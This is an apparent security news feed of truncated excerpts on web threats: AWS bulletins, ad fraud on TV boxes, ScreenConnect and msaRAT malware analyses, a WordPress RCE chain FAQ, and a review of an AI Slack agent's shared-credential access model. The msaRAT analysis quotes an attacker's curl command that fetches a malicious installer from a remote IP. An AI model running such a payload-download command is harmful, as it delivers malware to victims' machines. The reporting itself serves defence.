Threats tagged 'web'

Bulletin ID: 2026-048-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 06/29/2026 11:15 PM PDT Description: AWS WAF is a web application firewall that monitors the HTTP(S) requests that are forwarded to your protected web application resources. We identified CVE-2026-13762 and CVE-2026-13763, which are issues affecting HTTP/2 multi-frame request body inspection by AWS WAF. CVE-2026-13762 affects AWS WAF deployment with CloudFront. This issue was remediated server-side; no customer action is required. CVE-2026-13763 affects AWS WAF deployment with AWS Application Load Balancer (ALB). Under certain conditions, a crafted multi-frame HTTP/2 request could cause only a partial request body to be inspected. This issue has been addressed on ALB, and customers can ensure full protection by configuring how AWS WAF inspects HTTP/2 request bodies on their ALB. Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin.

Bulletin ID: 2026-002-AWS Scope: AWS Content Type: Informational Publication Date: 2026/01/15 07:03 AM PST Description: A security research team identified a configuration issue affecting the following AWS-managed open source GitHub repositories that could have resulted in the introduction of inappropriate code: - aws-sdk-js-v3 - aws-lc - amazon-corretto-crypto-provider - awslabs/open-data-registry Specifically, researchers identified the above repositories' configured regular expressions for AWS CodeBuild webhook filters intended to limit trusted actor IDs were insufficient, allowing a predictably acquired actor ID to gain administrative permissions for the affected repositories. We can confirm these were project-specific misconfigurations in webhook actor ID filters for these repositories and not an issue in the CodeBuild service itself. The researchers carefully demonstrated the potential to commit inappropriate code, through an empty code commit, to one repository and promptly informed AWS Security of their research activity and its potential negative impact. No inappropriate code was introduced to any of the affected repositories during this security research activity, the demonstrated empty code commit to one repository had no impact to any AWS customer environments and did not impact any AWS services or infrastructure. No customer action is required. Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin.

Online advertising firm Adform suffered a supply-chain attack that delivered cryptocurrency-stealing scripts to websites using its ad platform, replacing wallet addresses copied to visitors' clipboards with ones controlled by an attacker. [...]

Security experts have been sounding the alarm for years about the risks of using generic TV boxes that promise unlimited content streaming for a one-time fee, warning that they secretly rent the user’s Internet connection out to strangers. But a groundbreaking new analysis finds these devices also routinely spoof themselves as mobile phones clicking ads on AI-generated websites as part of a sprawling operation that seeks to defraud online merchants and advertising networks. Pedro Falé is a threat researcher with the security firm Bitsight . Falé told KrebsOnSecurity he was able to peer inside a vast and complex ad fraud network by registering an expired domain name that was used to coordinate fake ad clicks across a particularly popular brand of these streaming devices known as H96 . An H96 TV streaming device currently advertised for sale on Amazon. Falé said the domain he scooped up was previously used for telemetry, periodically collecting full hardware information and the entire list of installed apps from tens of thousands of H96 streaming sticks plugged into television sets around the globe. But upon inspecting the traffic being funneled to the domain, he discovered nearly all of the TV boxes transmitting data claimed to be mobile phone models from a variety of manufacturers, including Samsung, Vivo, Huawei, and Xiaomi. “We noticed something was wildly wrong,” Falé said. “Multiple devices reporting to this factory Android TV Box backdoor were ‘phones.'” Image: Bitsight. The researcher found all of the devices reported having the same two apps installed, and that those apps were made by a company called Zhejiang Fengwo IoT Technology Ltd , an entity founded in 2019 in mainland China which operates an ad-publishing portfolio under the name Fengwo Group . Further investigation into the Fengwo Group revealed it has registered multiple patents that match the inner workings of these apps. “Bitsight TRACE identified several Hong Kong, Singapore, and single person ‘legal’ shell identities used to collect the monetization and traced the operation back to a mainland China company known as Zhejiang Fengwo IoT Technology Co., Ltd, which operates under the Fengwo Group,” Falé wrote in a report released today about their findings. Falé said an analysis of the apps shows they help to coordinate an ad fraud network that uses these H96 devices as a captive traffic source to click on ads at AI-generated websites operated by the Fengwo Group. Bitsight discovered the websites contain machine-generated news articles and graphics across a range of categories, including finance, health, education, gaming, music and food blogs. But they also found none of those sites displayed ads unless the device visiting the page matched the spoofed mobile profile of these H96 devices. AI DIGITAL HUMANS The domain for the Fengwo Group — fwgcloud[.]com — claims the company is “redefining the boundaries of human-AI interaction,” and that it has created more than 120,000 “AI digital humans” available to rent for everything from emotional companionship to 24/7 customer service and creative design. The homepage for fwgcloud dot com. Falé said the Fengwo Group’s domain shared its SSL certificate data with other domains associated with the apps found on H96 devices, specifically the phone spoofing mechanism. He noted the domain also has an internal wiki platform that directly ties the Fengwo Group to a proprietary implementation of a Google-built visual programming language called Blockly , which was originally designed to help kids learn how to write software. According to Bitsight, the Fengwo Group’s employees use Blockly to build the sham websites, allowing low-skilled operators to drag blocks of code together in their Blockly editor — without any need to understand what the underlying code blocks do or how they work. The Blockly homepage. “An operator can drag blocks together in their Blockly editor, to define each fraud routine, given a task type,” reads Bitsi…

Canada’s new Critical Cyber Systems Protection Act (Bill C-8) introduces a strict 72-hour cyber incident reporting mandate. Find out how Tenable is helping critical national infrastructure operators bridge the IT/OT divide to ensure full compliance. Key takeaways: Bill C-8 introduces stringent new cyber incident reporting requirements and heavy financial penalties for critical infrastructure operators. Eliminating network blind spots with a hybrid IT/OT discovery approach, including Safe Active Querying for isolated, hard-to-reach process-control systems, enables operators to establish a required security baseline. Predictive Vulnerability Priority Rating (VPR) scoring helps you prioritize and focus limited resources on the critical flaws that actually threaten physical safety and uptime. Advanced multi-detection engines and seamless IT workflow integrations accelerate mean-time-to-respond (MTTR) to help both security teams and operators align with a strict 72-hour reporting requirement. With the enactment of Canada’s Critical Cyber Systems Protection Act (CCSPA), commonly known as Bill C-8, the Canadian federal government is laying down a clear framework to protect the cyber-physical systems that are vital to national critical infrastructure security. For designated operators in telecommunications, energy, transportation, and banking, the mandate is clear: Establish formalized cybersecurity programs, mitigate supply chain risks, and — most critically — report cyber incidents to authorities within 72 hours. Failure to comply carries heavy consequences, including penalties that can reach up to $15 million Canadian dollars (CAD). But beyond the threat of fines, Bill C-8 highlights a fundamental operational challenge that many industrial organizations are still struggling to solve: How can you detect, investigate, and report a breach in 72 hours when you lack unified visibility across your converged IT and OT environments? Requirements for meeting Bill C-8's 72-hour incident reporting mandate In modern industrial operations and critical infrastructure, the line between IT and OT continues to blur. The introduction of connectivity (e.g., IoT-connected cameras and building management systems) has optimized processes and service delivery, but it has also introduced new cyber exposures. Today, threat actors do not honor traditional network silos; they frequently compromise a web-facing IT asset or IoT device and move laterally into the operational technology (OT) environment to disrupt physical processes. Meeting a 72-hour incident reporting window is nearly impossible if your security team is relying on fragmented point solutions. Solutions that focus exclusively on passive OT network monitoring often leave massive blind spots — especially considering that IT and IoT devices can constitute up to 50% of an industrial environment. When an incident occurs, teams waste precious hours manually correlating alerts across disconnected tools rather than actively investigating the root cause. To comply with CCSPA and protect uptime, critical national infrastructure (CNI) operators must bridge the IT/OT security divide. Establish your CCSPA cybersecurity baseline The CCSPA requires operators to implement formalized cybersecurity programs. The foundation of any mature security program is a comprehensive asset inventory — you cannot secure what you cannot see. The Tenable One Exposure Management Platform helps organizations eliminate security blind spots by building a complete, unified inventory of all OT, IoT, and IT assets. Tenable goes beyond passive-only network monitoring with our proprietary Safe Active Query technology. This hybrid approach safely communicates with industrial devices in their native protocols to uncover significantly more assets than passive monitoring alone — including dormant process control systems, shadow IT, and unmanaged IoT — without disrupting process integrity or impacting equipment uptime. Prioritize what matter…

Vulnerability#local#webCanada

The Russian state-sponsored hacking group Laundry Bear, also known as Void Blizzard, is exploiting an Exchange Outlook Web Access vulnerability in email campaigns to deliver a sophisticated backdoor called OWAReaper. [...]

Leveraging legitimate software is one of cybercriminals’ tactics of choice, with remote management tools ranking among their top tools. A recent example involves the remote administration utility ScreenConnect. It’s designed for IT support teams to troubleshoot systems and configure software seamlessly in the background. However, when weaponized by threat actors, ScreenConnect becomes a versatile attack vehicle used to harvest data, deploy malware, and move laterally across corporate networks. During a recent incident detected by Kaspersky Managed Detection and Response , our experts identified an attempt to use ScreenConnect in an attack. This allowed a detailed study of how attackers used this application in a large-scale malware distribution campaign. The following breakdown illustrates the mechanics of ScreenConnect-assisted attacks, and outlines key strategies to defend your organization against them. How ScreenConnect reaches target computers In the campaign analyzed by our experts, the attackers bundled ScreenConnect with legitimate free business software. They established a network of phishing websites to spoof popular tools, including OBS Studio, DS4Windows, DNS Jumper, Glary Utilities, Bandizip, Process Hacker, and others. These rogue websites featured high-quality designs that could be taken for the official pages, making them highly convincing to unsuspecting users. Once the victim clicks the download button for the software, an archive is downloaded to their computer that contains additional files alongside the requested application: A legitimately signed Microsoft executable ( exe ), renamed to match the expected application installer (for example, OBS-Studio-Installer.exe ) A malicious library named res.1033.dll An Assets directory containing installers for both ScreenConnect and the intended application Launching the renamed file disguised as the app installer triggers DLL sideloading of a malicious library. This library silently runs the ScreenConnect installation without restarting the system, while using the standard Windows installer to set up the software the user originally tried to install. The attackers used search engine optimization techniques to drive traffic to their fake websites. As a result, these malicious pages appeared at the top of search results for certain free software utilities on major search engines. Our experts discovered over 90 domain names translated into more than 10 different languages. While most of these websites targeted English, Russian, and Chinese speakers, several domains catered to German, French, Spanish, Arabic, and other regional audiences. A detailed analysis of the IP addresses and associated spoofed domains is available in our technical research article on Securelist, along with full indicators of compromise. Why the attackers exploited ScreenConnect In this campaign, attackers leveraged ScreenConnect to generate and execute malicious scripts on victim machines. These scripts served several key functions: they created exclusions for specific drives, directories, and processes within Windows Defender, disabled the User Account Control (UAC) security mechanism, and delivered and deployed AsyncRAT – a remote access Trojan. To maintain persistence, the scripts configured a Windows scheduled task to run the malicious code at preset intervals. AsyncRAT then established a connection with the attackers’ command-and-control server to receive further instructions. The primary objective of this campaign appears to be gaining unauthorized access to enterprise systems, likely to then resell it on cybercrime marketplaces. How to secure corporate infrastructure Although ScreenConnect in and of itself is a legitimate tool, its presence poses a security risk to corporate environments. Consequently, Kaspersky security solutions detect this application as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen. Security teams should implement the following controls: Enforce strict applicatio…

A large malvertising campaign uses fake Solana, Luno, and TradingView websites with malicious JavaScript that assembles malware directly in browser memory. The attack uses service workers and shared workers to build a unique malware executable locally, avoiding transmission of a complete file over the network. This technique helps evade static detection and complicates analysis. The campaign targets retail traders and crypto investors primarily in Asia Pacific and Latin America. The malware reportedly can intercept network traffic, steal credentials and cryptocurrency wallet data, record keystrokes, take screenshots, and maintain persistence. Users are advised to download financial software only from official sources and verify digital signatures.

On some websites, agents can read your messages before you even send them. We explain how these tracking mechanisms work, what data sites collect, and why this can be a risk.

Noteworthy stories that might have slipped under the radar: Siemens ROX II industrial switch vulnerabilities, Russian Zimbra webmail espionage campaign, Stadler Rail ransomware extortion attempt. The post In Other News: Dolphin X AI-Powered Malware, Car Anti-Theft Device Hack, 400 Linux Kernel Flaws appeared first on SecurityWeek .

Chick-fil-A has confirmed that over 13,000 customers had their accounts breached in a wave of credential stuffing attacks targeting its website and mobile app between June 17 and June 19. [...]

Unit 42 details a Russian cyberespionage campaign targeting Zimbra webmail servers using JavaScript injection to steal credentials. The post Russian Global Webmail Espionage appeared first on Unit 42 .

Campaign#web#javaUkraine

Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res…

An attacker only needed to convince the targeted user to visit a malicious website to exfiltrate WhatsApp messages and contacts. The post Flaw in Adobe Extension With 300M Installs Enabled WhatsApp Data Theft appeared first on SecurityWeek .

The Adobe Acrobat extension for Chrome could be used to access conversations and data rendered in WhatsApp Web without any form of authentication. [...]

The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart TVs that turn one’s television into an always-on residential proxy node. The move comes less than a month after researchers found that more than 42 percent of games and other apps available for download on LG’s webOS store allow unknown third-parties to route their Internet traffic through a user’s TV. Proxy SDK prevalence among smart TV apps for LG (webOS) and Samsung (Tizen OS) televisions. Image: Spur.us. On July 2, we featured research by the security firm Spur that examined the prevalence of residential proxy software development kits (SDKs) in smart TV apps. Spur found more than 42 percent of apps available for download on LG smart TVs include SDKs that turn one’s television in a proxy node indefinitely, and that more than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components. Responding to questions about Spur’s research, LG Senior Vice President John Taylor told KrebsOnSecurity the company was working with app developers to remove the residential proxy option from their apps on the webOS platform. Developers that fail to comply, he said, will find their apps suspended. “A residential proxy network is not an intended use for LG smart TVs, and LG Electronics is working with developers to remove the residential proxy option from their apps on the webOS platform,” Taylor said. “If this option is not removed, these apps will be suspended.” Taylor said LG is committed to keeping residential proxy networks out of its smart TV apps going forward, and that the company’s review of those apps is “well underway now.” “As part of our ongoing efforts to enhance platform quality and the user experience, LG will continue to strengthen our evaluation process for developer-submitted apps, including those that incorporate residential proxy SDKs,” Taylor wrote in an emailed statement. App makers looking for ways to monetize their creations can turn to residential proxy providers, which pay developers to include SDKs that turn the user’s device into a residential proxy node that is rented to paying customers. In the case of LG and Samsung smart TVs, Spur found residential proxy SDKs bundled with everything from simple games like Pac-Man to screensavers and file utilities. A Pac-Man smart TV app from Bright Data offers users the choice between viewing ads in the game or agreeing to allow their TV to serve as a residential proxy node. Image: Spur.us. Spur’s report found the residential proxy network Bright Data accounted for a majority of proxy SDKs across both Samsung and LG smart TVs. In a statement shared with KrebsOnSecurity, Bright Data said its network is built on consent and responsibility and operates by LG and Samsung terms. “Every peer opts in through a dedicated screen and receives value in return; every customer is vetted, and our practices have now undergone a second independent audit by PwC,” the statement reads. “We remain committed to an open, transparent internet where legitimate businesses, researchers, and institutions can responsibly access data that lives in the public domain.” Bright Data and other proxy providers named in Spur’s report all say they follow rigorous know-your-customer processes to validate legitimate uses of their services, which is often heavily tied to content-scraping activities by said customers. The proxy companies also say they incorporate technological countermeasures to prevent proxy service customers from being able to interact with and control other devices on the proxy user’s local network . Spur argues the problem is not that residential proxy networks exist, but rather that they are being embedded at scale in devices that most consumers do not think of as computers and are not equipped to audit. “A one-time consent prompt buried in a TV app is not a substitute for meaningful transparency, ongoing control, and platform oversight,” Spur’…

The U.S. Justice Department seized over 1,000 websites and blocked nearly 2,000 domains involved in unauthorized streaming of FIFA World Cup 2026 matches. These actions were part of coordinated law enforcement operations targeting copyright infringement and associated cyber threats. The crackdown involved multiple international partners and aimed to disrupt illegal streaming networks that also pose risks such as malware distribution and data compromise. Several arrests were made in connection with these operations. The seizures help protect intellectual property rights and reduce exposure to malicious software embedded in illicit streaming services.

An unauthenticated attacker can chain two WordPress Core vulnerabilities, CVE-2026-63030 and CVE-2026-60137, to achieve remote code execution against affected WordPress installations. Multiple security firms have confirmed active in-the-wild exploitation within days of public disclosure, and public proof-of-concept exploits are circulating. Key takeaways: Two WordPress Core vulnerabilities, CVE-2026-63030 and CVE-2026-60137, can be chained together to achieve pre-authentication remote code execution against WordPress 6.9.x and 7.0.x installations. Multiple security firms have confirmed in-the-wild exploitation, with public proof-of-concept exploits appearing within hours of the July 17, 2026 disclosure. Patches are available in WordPress 7.0.2 and 6.9.5; WordPress.org has enabled forced automatic updates across affected supported installations. Background Tenable's Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding wp2shell, two vulnerabilities in WordPress Core that can be chained together to achieve pre-authentication remote code execution. FAQ What is wp2shell? wp2shell is the name given to two vulnerabilities in WordPress Core. When was wp2shell first disclosed? On July 17, 2026, WordPress released security updates addressing the wp2shell vulnerabilities alongside two GitHub Security Advisories. Adam Kues of Searchlight Cyber, who discovered and disclosed CVE-2026-63030, published research on the same day and chose to hold back the technical specifics given the severity of the finding. Searchlight Cyber also launched wp2shell.com , a testing tool that allows administrators to check whether their WordPress installation is vulnerable. On July 20, Searchlight Cyber published a full technical breakdown of the attack chain. What are the vulnerabilities associated with wp2shell? wp2shell is a two-vulnerability exploit chain affecting WordPress Core. CVE Description CVSSv3 CVE-2026-63030 WordPress Core REST API Batch-Route Confusion Remote Code Execution Vulnerability 9.8 CVE-2026-60137 WordPress Core WP_Query author__not_in SQL Injection Vulnerability 5.9 CVE-2026-63030 is a REST API batch-route confusion weakness introduced in WordPress 6.9. CVE-2026-60137 is a SQL injection flaw in the author__not_in parameter of WP_Query , present in WordPress 6.8 and later. When chained on WordPress 6.9.0 through 7.0.1, the two flaws allow an unauthenticated attacker to reach the REST API batch endpoint at /wp-json/batch/v1 and achieve remote code execution. CVE-2026-60137 was discovered and disclosed by security researchers TF1T, dtro, and haongo. CVE-2026-60137 also affects WordPress 6.8.0 through 6.8.5 as a standalone SQL injection issue. Because CVE-2026-63030 was introduced in WordPress 6.9, the full RCE chain is only achievable on 6.9.x and 7.0.x installations. How severe is the wp2shell vulnerability chain? An anonymous, unauthenticated user can execute the chain against a default WordPress installation with no plugins required. No preconditions exist beyond the default WordPress configuration. Cloudflare notes that the vulnerable code path is reached when “a persistent object cache is not in use.” Note: wp2shell targets WordPress Core itself rather than a plugin or theme. All four prior WordPress-related entries in the CISA Known Exploited Vulnerabilities (KEV) catalog involve plugins, not core. Pre-authentication remote code execution in WordPress Core is uncommon. CVE Product Added to KEV Ransomware CVE-2026-41940 WebPros cPanel & WHM and WP2 (WordPress Squared) April 30, 2026 Known CVE-2020-25213 WordPress File Manager Plugin November 3, 2021 Unknown CVE-2020-11738 WordPress Snap Creek Duplicator Plugin November 3, 2021 Unknown CVE-2019-9978 WordPress Social Warfare Plugin November 3, 2021 Unknown How widespread are the attacks exploiting wp2shell? WordPress is the most widely deployed content management system in the world. Some hosted installations will receive patc…

A financially motivated Russian threat actor tracked as UAT-11795 is using trojanized software to steal credentials and cryptocurrency by deploying a new backdoor called Starland RAT. [...]

Malware#webUnited States+3

Anthropic’s new AI agent for Slack acts under an admin-configured access bundle rather than each user’s own credentials. Here’s how that model works, what admins should understand and how to securely configure it. Key takeaways Claude Tag, Anthropic’s newly launched AI agent for Slack, acts on connected services using shared credentials an admin configures for a workspace or for a specific private channel, not the credentials of the user tagging it. Claude Tag uses the service-identity pattern, like deploy bots, workflow automations, and incoming webhooks, rather than per-user OAuth delegation. As a result, one admin-configured bundle serves everyone in the channel. Inviting someone to a channel where Claude Tag is present lets them converse with Claude and see its output there. What Claude can access is fixed by the admin-configured bundle, and organizations can require claude.ai login and role-based access control before a user may interact with Claude at all. Channel invitations do not confer new permissions on the invitee. As part of Tenable’s ongoing partnership with Anthropic, Tenable Research worked with their security team through coordinated disclosure. Claude Tag lets Slack channel members direct an agent whose reach is defined by the admin-configured access bundle. (Source: Tenable Research) What is Claude Tag? Claude Tag is a multiplayer AI assistant that lives inside Slack. With Claude Tag, which was released by Anthropic on June 23, 2026, anyone in a channel can tag @Claude to hand off tasks, run autonomous jobs over hours or days, and watch the work unfold in-thread. Claude Tag in a Slack channel, using the attached access bundle to read from a connected GitHub repository. The agent responds to any channel member within the bundle's scope. Source: Tenable Research. In a traditional 1-on-1 AI interaction, such as a chat UI, a command-line interface (CLI), or a Model Context Protocol (MCP)-connected app, the agent acts as you. Claude Tag keeps that model in direct messages: a DM runs on the sender’s own claude.ai account, using that user’s own connectors. In shared channels , however, Claude Tag is a multiplayer agent: It serves many users at once, and no single user’s credentials define its access . There, the agent is given its own identity, with its own permissions, configured once by an admin, and reused by everyone who tags it. The controls governing that access are: The admin’s bundle configuration determines what the agent can do The channel determines where it participates and what it can see Organization-level Claude Enterprise controls, such as required claude.ai login and role-based access control, govern who can direct it Claude Tag also differs from per-user Slack integrations . Slack’s own GitHub integration, for example, uses each user’s personal GitHub OAuth token. When a user runs /github in a channel, the integration acts as that user, and sees only what that user can see. The same is true for Slack’s Jira and Asana apps. Claude Tag works the other way: One shared credential applies to every user in the channel. For GitHub, that credential is a Claude GitHub App installation token scoped to a repository allowlist the organization owner configures. No individual's OAuth is used, and actions are attributed to the Claude app. Admins can restrict which repositories each channel can reach by attaching different bundles to different channels. For example, a finance channel can be scoped only to finance repos, while an engineering channel only to its own. For non-GitHub OAuth connectors (e.g., Google Drive), the bundle reuses the OAuth credential of the organization’s admin or owner who connected it. Claude Tag’s access model Claude Tag isn’t just a Slack bot; it’s an autonomous AI agent with its own identity, separate from any human user. When someone in a channel types @Claude, the assistant doesn’t act as that user; it acts as itself, using credentials provisioned by access bundles . The identity model for Claude Tag has three layers : A Claude Tag installation bound to a Slack workspace Access bundles that group connector credentials configured once by an admin, such as a Claude GitHub App installation for repositories, and OAuth-approved credentials for other services) Scopes that define which Slack contexts, such as a workspace or a channel, a bundle is available in. An access bundle configured attached to a single Slack channel. The bundle's scope is set by the admin, not by the users in the channel. (Source: Tenable Research) The trust boundary that admins can control is the scope. Attaching a bundle to a channel is an admin decision: Members of that channel can then direct Claude within the bundle’s scope. For example, they can scope a GitHub app installation to an allowlist of repositories, while for other OAuth connectors they can scope the credential of the admin who connected them. Claude Enterprise admins can additionally require users to log in to their claude.ai account and restrict usage via role-based access control (RBAC), under which non-qualifying users cannot start Claude sessions and their messages in existing threads are treated as untrusted. There’s no mapping from “the Slack user who typed @Claude” back to “what that user is allowed to access in the connected service.” The model also constrains users: Someone acting through Claude cannot bring their own privileges. Writes happen only where the agent is scoped to write, so they land in admin-chosen, visible locations rather than wherever an individual user’s credentials could reach. Anthropic’s documentation states the model explicitly. The attach-to-scope page warns: “A bundle attached to a public channel grants its access to anyone who joins that channel. In most Slack workspaces, anyone can join a public channel, so the channel’s join policy becomes the effective access control for whatever the bundle grants. Keep elevated credentials in private-channel scopes.” Security implications of multiplayer agents Slack channel configuration is now part of your access-control surface. Traditional application identity and access management (IAM) is per-user: Each person authenticates and is gated against their own identity in each system. An agent like Claude Tag instead has its own identity: the admin-configured bundle defines what the agent can reach, and the channel defines where it participates and who can converse with it. Adding a user to a channel lets them direct Claude within that admin-chosen scope; organizations can require claude.ai login and RBAC before a user may direct Claude at all. You should review bundle scope and channel membership together. Slack admins now make decisions that matter for access control. Attaching an access bundle to a channel determines what Claude can reach there. Review bundle attachments with the same rigor you apply to IAM changes, and use organization-level controls, such as required claude.ai login and RBAC) to bound who can direct Claude. Channel invites then govern who can converse with the agent within that admin-chosen scope. You should scope bundles deliberately and pair them with organization-level controls. Keeping elevated bundles in private channels narrows where the agent participates and who can converse with it. A new channel member can see prior scrollback and converse with Claude there, but what Claude can access stays fixed by the admin-configured bundle. The right practice is minimum-privilege bundles per channel, per task, combined with those organization-level requirements. Anthropic’s planned enhancements Anthropic has said publicly that it plans to strengthen Claude Tag’s security offerings with two additions (see Anthropic’s June 24 post, “ Agent identity in Claude Tag: a new access model ”): Just-in-time credential grants, where a user approves a single sensitive action in the moment without permanently widening the agent’s scope An identity-aware overlay, adding user-level checks on top of an agent’s scope for organizations with more complex clearance structures These are additive options layered onto the channel-scoped agent model, not a replacement for it: agent identity remains a first-class model, and organizations will be able to combine it with user-level checks, or rely on user identity alone for a given channel where it fits their needs. Coordinated disclosure Tenable Research approached Anthropic’s security team via HackerOne to discuss Claude Tag’s access model and worked through coordinated review. Anthropic engaged promptly, provided a detailed clarification of the product’s access model, and confirmed that the admin-experience feedback we raised has been shared with the relevant product team for consideration in the setup flow and documentation. We appreciate their thorough and professional engagement throughout. Timeline (UTC): 2026-06-30 14:57 – Tenable Research submits an initial report to Anthropic via HackerOne (TRA-699). 2026-06-30 17:14 – Anthropic responds with a detailed clarification of Claude Tag's access model. 2026-07-01 9:49 – Tenable Research replies with follow-up observations regarding the admin configuration experience. 2026-07-02 13:41 – Anthropic confirms the feedback has been shared with the relevant product team for consideration in the setup flow and documentation. 4 ways to better secure multiplayer agents Multiplayer agents aren’t going away. Here are four actions you can take immediately to reduce the access risks they create: Audit your access bundles. For every Claude Tag bundle in your organization, identify the: connectors it holds credentials for scopes it’s attached to users who can direct Claude in those scopes today, making that set deliberate: manage channel membership, and use organization-level controls (such as required claude.ai login and RBAC) so only intended users can direct Claude. Review channel membership and bundle scope together. For channels whose bundles grant sensitive reach, route invites